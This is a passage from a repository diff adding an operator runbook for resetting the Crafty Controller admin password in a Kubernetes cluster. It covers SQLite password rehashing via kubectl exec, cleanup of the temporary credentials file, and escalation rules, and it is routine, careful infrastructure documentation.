+now = datetime.datetime.now()
+c   = sqlite3.connect(\"/crafty/app/config/db/crafty.sqlite\", timeout=30)
+cur = c.execute(
+    \"UPDATE users SET password=?, last_update=?, valid_tokens_from=? WHERE username=?\",
+    (PasswordHasher().hash(pw), str(now),
+     str(datetime.datetime.now(datetime.timezone.utc)), \"admin\"),
+)
+c.commit()
+print(\"rows updated:\", cur.rowcount)
+out = \"/crafty/app/config/reset-creds.txt\"
+open(out, \"w\").write(pw + chr(10))
+os.chmod(out, 0o600)
+print(\"new password written to\", out)
+"'
+```
+
+Expect `rows updated: 1`. Then read it, sign in, rotate in the UI, and delete the file:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/reset-creds.txt'
+# after signing in and rotating:
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- rm -f /crafty/app/config/reset-creds.txt'
+```
+
+`rows updated: 0` means the username is not `admin` — list the accounts (names only, never the
+`password` column) and retry against the right one:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+ 'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
+import sqlite3
+c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
+print([r[0] for r in c.execute(\"SELECT username FROM users\")])
+"'
+```
+
+`database is locked` means Crafty held the write lock; the `timeout=30` usually rides it out, otherwise
+retry. The panel picks the new hash up on the next login attempt — no restart needed, and a restart
+costs a Minecraft-server stop (`strategy: Recreate` on an RWO volume), so do not restart reflexively.
+
+## When to escalate or stop
+
+- **Stop** as soon as you can sign in, and **rotate immediately** — do not leave the generated
+  bootstrap password in place as the standing admin credential, and do not leave `reset-creds.txt` on
+  the PVC.
+- **Do not `kubectl edit`/`patch`/`apply`** the Deployment to work around a login problem. Flux
+  reconciles `main`; hand-applied changes are drift. Manifest changes go through a branch and a PR.
+- **Do not delete `crafty.sqlite`** to force a "fresh install" and a new generated password. It holds
+  every server definition — jar, ports, heap, `auto_start` — and losing it means recreating each server
+  by hand, re-accepting the Mojang EULA, and re-`PATCH`ing `auto_start`. The worlds under
+  `/crafty/servers/<uuid>/` are not in git and not recreatable. The reset above is always cheaper.
+- **Escalate to the Keycloak side** (`runbooks/keycloak-down.md`,
+  `runbooks/keycloak-client-secrets.md`) if there is no `AuthSuccess` in the sidecar log at all — that
+  is an IdP or client-secret problem and no Crafty password will help.
+- **If `default-creds.txt` is absent on a pod whose DB says the password was never changed**, stop and
+  hand off: that combination should not occur, and it suggests the `config` subPath is not the volume
+  you think it is. Record what you measured rather than guessing.

runbooks/kustomization.yaml

@@ -60,6 +60,9 @@ configMapGenerator:
       - cnpg-exporter=cnpg-exporter.md
       - cnpg-primary-spread=cnpg-primary-spread.md
       - cnpg-wal-growth=cnpg-wal-growth.md
+      # Operator procedure, not alert-linked (Crafty's local login is a second factor behind
+      # the Keycloak gate and its bootstrap password lives only on the PVC).
+      - crafty-admin-credential=crafty-admin-credential.md
       - denied-flows=denied-flows.md
       - flux-reconcile=flux-reconcile.md
       - flux-suspended=flux-suspended.md